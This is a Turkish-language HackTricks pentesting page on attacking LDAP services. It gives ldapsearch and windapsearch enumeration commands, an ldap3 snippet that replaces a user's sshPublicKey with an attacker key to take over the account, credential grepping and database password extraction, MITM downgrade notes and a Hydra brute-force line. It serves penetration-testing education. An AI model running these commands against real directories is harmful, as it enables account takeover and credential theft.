hacktricks/network-services-pentesting/pentesting-ldap.md

18 KiB
Raw Blame History

389, 636, 3268, 3269 - LDAP Pentesting

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

LDAP (Hafif Dizin Erişim Protokolü) kullanımı, genellikle ağlarda, hem genel hem de özel, kuruluşları, bireyleri ve dosyaları ve cihazları gibi çeşitli varlıkları bulmak için yapılmaktadır. DAP'nin yerine daha küçük bir kod ayak izine sahip olmasıyla, daha akışkan bir yaklaşım sunar.

LDAP dizinleri, her birinin dizinin çoğaltılmış ve senkronize edilmiş bir sürümünü barındıran birkaç sunucu üzerine dağıtılmasına izin vermek üzere yapılandırılmıştır, bu sunuculara Dizin Sistemi Ajanı (DSA) denir. İstekleri işleme sorumluluğu tamamen LDAP sunucusuna aittir ve gerektiğinde diğer DSAlarla iletişim kurarak istek sahibine birleşik bir yanıt sunabilir.

LDAP dizininin organizasyonu, kök dizinden başlayarak ağaç hiyerarşisine benzer. Bu, ülkelerden başlayarak, daha sonra organizasyonlara ve ardından farklı bölümleri veya departmanları temsil eden organizasyon birimlerine ve son olarak insanlar ve dosyalar gibi paylaşılan kaynakları içeren bireysel varlık seviyesine ulaşır.

Varsayılan port: 389 ve 636 (ldaps). Global Catalog (ActiveDirectory'de LDAP) varsayılan olarak 3268 ve LDAPS için 3269 portlarında bulunmaktadır.

PORT    STATE SERVICE REASON
389/tcp open  ldap    syn-ack
636/tcp open  tcpwrapped

LDAP Veri Değişim Formatı

LDIF (LDAP Veri Değişim Formatı), dizin içeriğini bir dizi kayıt olarak tanımlar. Ayrıca güncelleme isteklerini (Ekle, Değiştir, Sil, Yeniden Adlandır) temsil edebilir.

dn: dc=local
dc: local
objectClass: dcObject

dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization

dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev

dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales

dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
  • Satırlar 1-3, üst düzey etki alanını local olarak tanımlar
  • Satırlar 5-8, ilk düzey etki alanını moneycorp (moneycorp.local) olarak tanımlar
  • Satırlar 10-16, 2 organizasyon birimini tanımlar: dev ve sales
  • Satırlar 18-26, etki alanı nesnesini oluşturur ve değerlerle öznitelikler atar

Veri Yazma

Değerleri değiştirebiliyorsanız gerçekten ilginç eylemler gerçekleştirebilirsiniz. Örneğin, kullanıcıların "sshPublicKey" bilgisini değiştirebileceğinizi hayal edin. Bu öznitelik varsa, ssh'nin genel anahtarları LDAP'den okuduğu muhtemeldir. Bir kullanıcının genel anahtarını değiştirebiliyorsanız, ssh'de parola kimlik doğrulaması etkin değilse bile o kullanıcı olarak giriş yapabileceksiniz.

# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})

ık metin kimlik bilgilerini izleme

Eğer LDAP SSL olmadan kullanılıyorsa, ağda ık metin kimlik bilgilerini izleyebilirsiniz.

Ayrıca, ağda LDAP sunucusu ile istemci arasında bir MITM saldırısı gerçekleştirebilirsiniz. Burada, istemcinin ık metin kimlik bilgilerini kullanarak giriş yapmasını sağlayacak bir Downgrade Saldırısı yapabilirsiniz.

Eğer SSL kullanılıyorsa, yukarıda bahsedildiği gibi bir MITM yapmaya çalışabilirsiniz ancak sahte bir sertifika sunarak, eğer kullanıcı kabul ederse, kimlik doğrulama yöntemini Downgrade edebilir ve kimlik bilgilerini tekrar görebilirsiniz.

Anonim Erişim

TLS SNI kontrolünü atlatma

Bu yazıda belirtildiğine göre, LDAP sunucusuna rastgele bir alan adıyla (örneğin company.com) erişerek, anonim bir kullanıcı olarak bilgi çıkartabildi.

ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +

LDAP anonim bağlantıları

LDAP anonim bağlantıları, kimlik doğrulaması yapılmamış saldırganlara alan adından bilgi almayı sağlar, böylece kullanıcıların, grupların, bilgisayarların, kullanıcı hesabı özniteliklerinin ve alan parola politikasının tam listesini alabilirler. Bu, eski bir yapılandırmadır ve Windows Server 2003'ten itibaren yalnızca kimlik doğrulaması yapılmış kullanıcılara LDAP istekleri başlatma izni verilir.
Ancak, yöneticiler anonim bağlantılara izin vermek için belirli bir uygulama kurmak zorunda kalmış olabilir ve istenenden fazla erişim vererek kimlik doğrulaması yapılmamış kullanıcılara AD'deki tüm nesnelere erişim sağlamış olabilirler.

Geçerli Kimlik Bilgileri

Eğer LDAP sunucusuna giriş yapmak için geçerli kimlik bilgileriniz varsa, Alan Yöneticisi hakkında tüm bilgileri dökümleyebilirsiniz:

ldapdomaindump

pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]

Kaba Kuvvet

Numaralandırma

Otomatik

Bu kullanarak genel bilgileri (alan adı gibi)** görebileceksiniz:**

nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials

Python

Python ile LDAP numaralandırma

LDAP'yi kimlik bilgileriyle veya kimlik bilgileri olmadan numaralandırmak için python kullanabilirsiniz: pip3 install ldap3

Öncelikle kimlik bilgileri olmadan bağlanmayı deneyin:

>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info

Eğer yanıt True ise, önceki örnekte olduğu gibi LDAP sunucusundan bazı ilginç verileri alabilirsiniz (örneğin adlandırma bağlamı veya alan adı).

>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN

Bir kez adlandırma bağlamınız olduğunda daha heyecan verici sorgular yapabilirsiniz. Bu basit sorgu size dizindeki tüm nesneleri göstermelidir:

>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries

Ya da tüm ldap'ı dump et:

>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries

windapsearch

Windapsearch, LDAP sorgularını kullanarak bir Windows etki alanından kullanıcıları, grupları ve bilgisayarları sıralamak için yararlı bir Python betiğidir.

# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users

ldapsearch

Boş kimlik bilgilerini kontrol edin veya kimlik bilgilerinizin geçerli olup olmadığını kontrol edin:

ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839

Eğer "bağlantı tamamlanmalıdır" şeklinde bir şey bulursanız, bu kimlik bilgilerinin yanlış olduğu anlamına gelir.

Bir alan adından her şeyi çıkarabilirsiniz:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given

Kullanıcıları çıkarın:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"

Bilgisayarları çıkarın:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"

Benim bilgilerimi çıkar.

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Domain Admins çıkarın:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Domain Kullanıcıları'nı çıkarın:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Enterprise Admins'ı çıkarın:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Çıkar Yöneticiler:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

Uzak Masaüstü Grubu Çıkartma:

ldapsearch -x -h <IP> -p 389 -b "dc=<domain>,dc=com" -D "<username>" -w "<password>" "(objectclass=group)" member
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

Eğer herhangi bir şifreye erişiminizin olup olmadığını görmek istiyorsanız, sorgulardan birini çalıştırdıktan sonra grep kullanabilirsiniz:

<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"

pbis

pbis'i buradan indirebilirsiniz: https://github.com/BeyondTrust/pbis-open/ ve genellikle /opt/pbis dizinine kurulur.
Pbis, temel bilgilere kolayca erişmenizi sağlar:

#Read keytab file
./klist -k /etc/krb5.keytab

#Get known domains info
./get-status
./lsa get-status

#Get basic metrics
./get-metrics
./lsa get-metrics

#Get users
./enum-users
./lsa enum-users

#Get groups
./enum-groups
./lsa enum-groups

#Get all kind of objects
./enum-objects
./lsa enum-objects

#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done

#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done

#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done

Grafik Arayüz

Apache Directory

Apache Directory'yi buradan indirebilirsiniz. Bu aracı nasıl kullanacağınıza dair bir örneği burada bulabilirsiniz.

jxplorer

LDAP sunucusu ile grafik arayüzü indirebilirsiniz: http://www.jxplorer.org/downloads/users.html

Varsayılan olarak şuraya kurulur: /opt/jxplorer

Godap

https://github.com/Macmod/godap üzerinden erişebilirsiniz.

Kerberos üzerinden Kimlik Doğrulama

ldapsearch kullanarak kerberos yerine NTLM aracılığıyla kimlik doğrulaması yapabilirsiniz, -Y GSSAPI parametresini kullanarak.

POST

Veritabanlarının bulunduğu dosyalara erişebiliyorsanız (örneğin /var/lib/ldap içinde olabilir), şifreleri çıkarabilirsiniz:

cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u

Yapılandırma Dosyaları

  • Genel
  • containers.ldif
  • ldap.cfg
  • ldap.conf
  • ldap.xml
  • ldap-config.xml
  • ldap-realm.xml
  • slapd.conf
  • IBM SecureWay V3 sunucusu
  • V3.sas.oc
  • Microsoft Active Directory sunucusu
  • msadClassesAttrs.ldif
  • Netscape Directory Server 4
  • nsslapd.sas_at.conf
  • nsslapd.sas_oc.conf
  • OpenLDAP dizin sunucusu
  • slapd.sas_at.conf
  • slapd.sas_oc.conf
  • Sun ONE Directory Server 5.1
  • 75sas.ldif
Protocol_Name: LDAP    #Protocol Abbreviation if there is one.
Port_Number:  389,636     #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.

https://book.hacktricks.xyz/pentesting/pentesting-ldap

Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}

Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x

Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts

Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"

Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları: